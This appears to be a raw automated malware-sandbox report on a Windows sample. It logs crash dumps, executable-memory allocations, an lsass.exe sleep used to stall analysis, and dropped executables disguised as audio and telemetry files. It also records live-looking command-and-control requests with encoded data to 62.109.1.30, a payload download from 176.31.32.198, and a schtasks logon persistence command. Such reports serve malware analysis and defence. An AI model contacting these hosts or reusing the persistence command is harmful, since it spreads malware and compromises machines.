registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.r14: 0
registers.r15: 0
registers.rcx: 18412352
registers.rsi: 2006858448
registers.r10: 0
registers.rbx: 5372516241
registers.rsp: 18414336
registers.r11: 514
registers.r8: 0
registers.r9: 0
registers.rdx: 0
registers.r12: 0
registers.rbp: 18414184
registers.rdi: 0
registers.rax: 1991343908
registers.r13: 0
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://62.109.1.30/triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&e8f6de43394a8e2ef93b201a0d2ec922=c0280c4c3f572aabfa038560a3f515da&65ab24948c084368808c084126a043f5=QNkZTNzcDOwMWM5QGM4YzMyQmY2MGZmV2MmdDOjN2MiF2M5gDM2MGO&V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://176.31.32.198/VideoRecoderDriveMaster.exe
suspicious_features Connection to IP address suspicious_request GET http://62.109.1.30/triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&02a02393cf420479d23438ff09302b99=jNDZkFTN2EWO4ITZiFGZ0UWYlVGZyM2NmVGM4MzNzU2Y4QjNmhDNjBDMyEjM1ETNyIDN3MTM&65ab24948c084368808c084126a043f5=wMmhDNzQjYmZTYiRzNxMTOjVWY0I2NhZWN0MTO5MGNxgjMxgjY0EmY&0c2329b9f0dc4c64441b4dcf29994306=d1nIhRDM1cjNwYmYlJzYmV2MjVmYlVjNjZ2M5cTM4YTO0QDOxgDNyI2NkJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W&fc24c3366cf2f1612650240a4476fd9c=QX9JiI6ISYihjZiVzYmJWM1EWMmRjY1EjYmBzMlVTOzQDO3EjM1ICLiEGNwUzN2AjZiVmMjZWZzMWZiVWN2MmZzkzNxgjN5QDN4EDO0IjY3QmI6ICO0kTO1EjNxYTMzQjN1MWZyIGZzM2YjJDO4czYzE2YhJCLiQzNxYzYjhTMwYjNlljM3YmN1IGZxkTMxgjZ4gjMiRjNwQzNzMmYxQjI6IiZ0UGM2QmY4ATOkNGOmNWN2IWN4cTOzkTMhZGMyQGZ4Iyes0nI5EjbJpXMHlEerRVTp9maJRzZU5Uaa1WTw0kaZpmVX10MJJTT5F1RaJTRyk1aGpmTsJlMOxmUtpVaO1mTsJkeO1mUql1aKlXZ2k0UZBjRHJFMohlWpdXaJlnVyoFa1cVWOJ0UihmSzoldKhUVp9maJNTOHpVdsJjVV5UVRl2dplkWKl2TpRzVhRnUXFles1WSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSzxWbkZkSp9UajVVUVp0QMlWUYF2QCNkTyEUaUxkQDJGa1IjYw50MjxmWyIWeCZUSzEUejNTOHpVdsJjVp9maJlnVtZVdsJjVpd3Uml2ZHRWMGJjW1xmMjpHbXJmd4cVY1hTbaVHbHNGc5kHT20ESjBjUIFWavpWSsFzRahmVtNWa3lWSzZ1MixmTxwEasJzYCpUaPlWVtJmdwhlW0x2Rkl2dplkMnRVT6FkaJZTSDJGaSNzY2JkbJNXSTJmdOdlWzZ1RWdWRXpVe5IzUnllaONTU6VlQKl2TpNWbjZnSDxUaRR0TzsmaMJTSU10cBpmTyUlaMNTTqlkNJlXW2hXbJNXSpVFTKl2TptmbjBTNXRmdO1WSzl0QiFTOXpFVKl2TpRjMiBHZXpVeKNETpd3VkZnVyUVavpWS1IFWhpmSDxUaBRlT4RzQOpXRqxENBpWT1VleOhXSp9UaBhVYpNnbPlGOtpVdsV0YKp0QMlWSq1EMOhlWwoUaPlWVXJGa1s2Ys5EWWl2dplERCZFT5lERWRlVFZVavpWSsFzVZ9kTFVVa3lWSzQzQOVXUqlkNJl2YspFbjxmWuNGbOxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEmY4YmY1MmZiFTNhFjZ0IWNxImZwMTZ1kzM0gzNxITNiwiIkRmYxUzN0kDZhRWZlRzY2UWMyEWZ2IjMmJTYyYGMhJTM1gTOhNmNjJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W
suspicious_features GET method with no useragent header suspicious_request GET https://api.ipify.org/
request GET http://62.109.1.30/triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&e8f6de43394a8e2ef93b201a0d2ec922=c0280c4c3f572aabfa038560a3f515da&65ab24948c084368808c084126a043f5=QNkZTNzcDOwMWM5QGM4YzMyQmY2MGZmV2MmdDOjN2MiF2M5gDM2MGO&V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4
request GET http://176.31.32.198/VideoRecoderDriveMaster.exe
request GET http://62.109.1.30/triggers/vm_.php?V9JL2L5tBWjPnGs3XTcD6uK=68l9j&Dk8ljd7jBYa4EX9b4TcqyURjwkzCP4k=KBT9RBgP5yRDnCqwGfESh2LsTYz8o4&02a02393cf420479d23438ff09302b99=jNDZkFTN2EWO4ITZiFGZ0UWYlVGZyM2NmVGM4MzNzU2Y4QjNmhDNjBDMyEjM1ETNyIDN3MTM&65ab24948c084368808c084126a043f5=wMmhDNzQjYmZTYiRzNxMTOjVWY0I2NhZWN0MTO5MGNxgjMxgjY0EmY&0c2329b9f0dc4c64441b4dcf29994306=d1nIhRDM1cjNwYmYlJzYmV2MjVmYlVjNjZ2M5cTM4YTO0QDOxgDNyI2NkJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W&fc24c3366cf2f1612650240a4476fd9c=QX9JiI6ISYihjZiVzYmJWM1EWMmRjY1EjYmBzMlVTOzQDO3EjM1ICLiEGNwUzN2AjZiVmMjZWZzMWZiVWN2MmZzkzNxgjN5QDN4EDO0IjY3QmI6ICO0kTO1EjNxYTMzQjN1MWZyIGZzM2YjJDO4czYzE2YhJCLiQzNxYzYjhTMwYjNlljM3YmN1IGZxkTMxgjZ4gjMiRjNwQzNzMmYxQjI6IiZ0UGM2QmY4ATOkNGOmNWN2IWN4cTOzkTMhZGMyQGZ4Iyes0nI5EjbJpXMHlEerRVTp9maJRzZU5Uaa1WTw0kaZpmVX10MJJTT5F1RaJTRyk1aGpmTsJlMOxmUtpVaO1mTsJkeO1mUql1aKlXZ2k0UZBjRHJFMohlWpdXaJlnVyoFa1cVWOJ0UihmSzoldKhUVp9maJNTOHpVdsJjVV5UVRl2dplkWKl2TpRzVhRnUXFles1WSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSzxWbkZkSp9UajVVUVp0QMlWUYF2QCNkTyEUaUxkQDJGa1IjYw50MjxmWyIWeCZUSzEUejNTOHpVdsJjVp9maJlnVtZVdsJjVpd3Uml2ZHRWMGJjW1xmMjpHbXJmd4cVY1hTbaVHbHNGc5kHT20ESjBjUIFWavpWSsFzRahmVtNWa3lWSzZ1MixmTxwEasJzYCpUaPlWVtJmdwhlW0x2Rkl2dplkMnRVT6FkaJZTSDJGaSNzY2JkbJNXSTJmdOdlWzZ1RWdWRXpVe5IzUnllaONTU6VlQKl2TpNWbjZnSDxUaRR0TzsmaMJTSU10cBpmTyUlaMNTTqlkNJlXW2hXbJNXSpVFTKl2TptmbjBTNXRmdO1WSzl0QiFTOXpFVKl2TpRjMiBHZXpVeKNETpd3VkZnVyUVavpWS1IFWhpmSDxUaBRlT4RzQOpXRqxENBpWT1VleOhXSp9UaBhVYpNnbPlGOtpVdsV0YKp0QMlWSq1EMOhlWwoUaPlWVXJGa1s2Ys5EWWl2dplERCZFT5lERWRlVFZVavpWSsFzVZ9kTFVVa3lWSzQzQOVXUqlkNJl2YspFbjxmWuNGbOxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEmY4YmY1MmZiFTNhFjZ0IWNxImZwMTZ1kzM0gzNxITNiwiIkRmYxUzN0kDZhRWZlRzY2UWMyEWZ2IjMmJTYyYGMhJTM1gTOhNmNjJiOigDN5kTNxYTM2EzM0YTNjVmMiR2MjN2YygDO3M2MhNWYiwiI0cTM2M2Y4EDM2YTZ5IzNmZTNiRWM5ETM4YGO4IjY0YDM0czMjJWM0IiOiYGNlBjNkJGOwkDZjhjZjVjNiVDO3kzM5ETYmBjMkRGOis3W
request GET https://ipinfo.io/json
request GET https://api.ipify.org/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 1048576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000760000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000007e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1311000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef19ab000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 2162688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002080000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002210000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1312000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1314000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1314000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1314000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1314000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b7a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b8c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c2c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c56000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cb1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b7b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bcc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b9d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b8d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b8e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b8f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cb2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cb3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b8a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1040
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cb4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description lsass.exe tried to sleep 221 seconds, actually delayed analysis time by 221 seconds
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

total_number_of_free_bytes: 10927763456
free_bytes_available: 10927763456
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

total_number_of_free_bytes: 10919895040
free_bytes_available: 10919895040
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0
domain api.ipify.org
domain ipinfo.io
file C:\Users\test22\AppData\Local\AudioEngine.exe
file C:\ProgramData\VideoRecoderDriveMaster.exe
file C:\Users\test22\AppData\Roaming\RealtekHD.exe
file C:\Users\test22\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"'
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "AudioEngine" /tr '"C:\Users\test22\AppData\Roaming\AudioEngine.exe"' & exit
file C:\Users\test22\AppData\Local\AudioEngine.exe
file C:\Users\test22\AppData\Roaming\RealtekHD.exe
file C:\Users\test22\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
file C:\Users\test22\AppData\Local\AudioEngine.exe
Time & API Arguments Status Return Repeated

